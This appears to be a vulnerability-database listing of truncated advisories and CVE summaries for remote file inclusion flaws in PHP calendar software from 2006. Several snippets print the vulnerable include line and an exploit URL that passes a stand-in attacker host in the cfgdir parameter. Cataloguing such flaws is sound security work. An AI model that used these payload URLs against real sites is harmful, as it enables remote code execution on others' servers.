Visual Events Calendar v1.1 (cfg_dir) Remote Inclusion Vulnerability

title: Visual Events Calendar v1.1 cfgdir Remote Inclusion Vulnerability Author: xoron script: Visual Events Calendar v1.1 Class : Remote cont@ct: x0r0nathotmaildotcom CODE: include $cfgdir."customizetext.php"; Exploit: http://www.site.com/path/calendar.php?cfgdir=http://evilscripts? Thanx :...

Visual Events Calendar 1.1 - cfg_dir Remote File Inclusion

Visual Events Calendar 1.1 - cfgdir Remote File Inclusion title: Visual Events Calendar v1.1 cfgdir Remote Inclusion Vulnerability Author: xoron script: Visual Events Calendar v1.1 Class : Remote cont@ct: x0r0nathotmaildotcom CODE: include $cfgdir."customizetext.php"; Exploit:...

Visual Events Calendar 1.1 (cfg_dir) Remote Include Vulnerability

Exploit for unknown platform in category web applications ================================================================= Visual Events Calendar 1.1 cfgdir Remote Include Vulnerability ================================================================= title: Visual Events Calendar v1.1 cfgdir...

Visual Events Calendar 1.1 - 'cfg_dir' Remote File Inclusion

title: Visual Events Calendar v1.1 cfgdir Remote Inclusion Vulnerability Author: xoron script: Visual Events Calendar v1.1 Class : Remote cont@ct: x0r0nathotmaildotcom CODE: include $cfgdir."customizetext.php"; Exploit: http://www.site.com/path/calendar.php?cfgdir=http://evilscripts? Thanx :...

CVE-2006-3909

Cross-site scripting XSS vulnerability in calendar.php in WWWthreads allows remote attackers to inject arbitrary web script or HTML via the week parameter...

CVE-2006-3843

PHP remote file inclusion vulnerability in comcalendar.php in Calendar Mambo Module 1.5.7 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter...

CVE-2006-3843

PHP remote file inclusion vulnerability in comcalendar.php in Calendar Mambo Module 1.5.7 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter...

CVE-2006-3843

The CVE-2006-3843 entry concerns a PHP remote file inclusion vulnerability in Calendar Mambo Module (com_calendar.php) up to version 1.5.7 and earlier. The identified flaw allows a remote attacker to execute arbitrary PHP code by supplying a URL in the absolute_path parameter. Affected software i...

Calendar Mambo Module <= 1.5.7 Remote File Include Vulnerabilities

--------------------------------------------------------------------------------- Calendar Mambo Module = 1.5.7 Remote File Include Vulnerabilities --------------------------------------------------------------------------------- Author : Matdhule Contact : [email protected] Web :...

CVE-2006-3715

Unspecified vulnerability in Calendar for Oracle Collaboration Suite 10.1.2 has unknown impact and attack vectors, aka Oracle Vuln OCS01...

CVE-2006-3684

PHP remote file inclusion vulnerability in calendar.php in SoftComplex PHP Event Calendar 1.4 allows remote attackers to execute arbitrary PHP code via a URL in the pathtocalendar parameter, which overwrites the $pathtocalendar variable from an extract function call...

CVE-2006-3715

Technical details about CVE-2006-3715 are not publicly available in the provided documents. The entries describe an unspecified vulnerability with unknown impact and attack vectors in Calendar for Oracle Collaboration Suite 10.1.2. Monitor for updates; no product/version specifics or remediation ...

CVE-2006-3715

Unspecified vulnerability in Calendar for Oracle Collaboration Suite 10.1.2 has unknown impact and attack vectors, aka Oracle Vuln OCS01...

solpot-adv-01.txt

SolpotCrew Community PHP Event Calendar versi 1.4 pathtocalendar Remote File Inclusion Vendor site : http://www.softcomplex.com/products/phpeventcalendar/ Bug Found By :Solpot a.k.a k. Hasibuan 13th july 2006 contact: [email protected] Website : http://www.solpotcrew.org/adv/solpot-adv-01.t...

calendar157.txt

--------------------------------------------------------------------------------- Calendar Module = 1.5.7 Remote File Include Vulnerabilities --------------------------------------------------------------------------------- Author : Matdhule Contact : [email protected] Application : Calendar...

CVE-2006-3684

The CVE-2006-3684 issue affects SoftComplex PHP Event Calendar 1.4, where a PHP remote file inclusion vulnerability exists in calendar.php. An attacker can provide a URL in the path_to_calendar parameter, which is processed by an extract() call and overwrites the $path_to_calendar variable, enabl...

Mambo Module Calendar 1.5.7 - Com_Calendar.php Remote File Inclusion

Mambo Module Calendar 1.5.7 - ComCalendar.php Remote File Inclusion source: https://www.securityfocus.com/bid/19027/info The Calendar module for Mambo is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An...

Mambo Module Calendar 1.5.7 - 'Com_Calendar.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/19027/info The Calendar module for Mambo is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file...

PHP Event Calendar 1.4 - calendar.php Remote File Inclusion

PHP Event Calendar 1.4 - calendar.php Remote File Inclusion source: https://www.securityfocus.com/bid/18965/info PHP Event Calendar is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit...

PHP Event Calendar 1.4 - 'calendar.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/18965/info PHP Event Calendar is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing...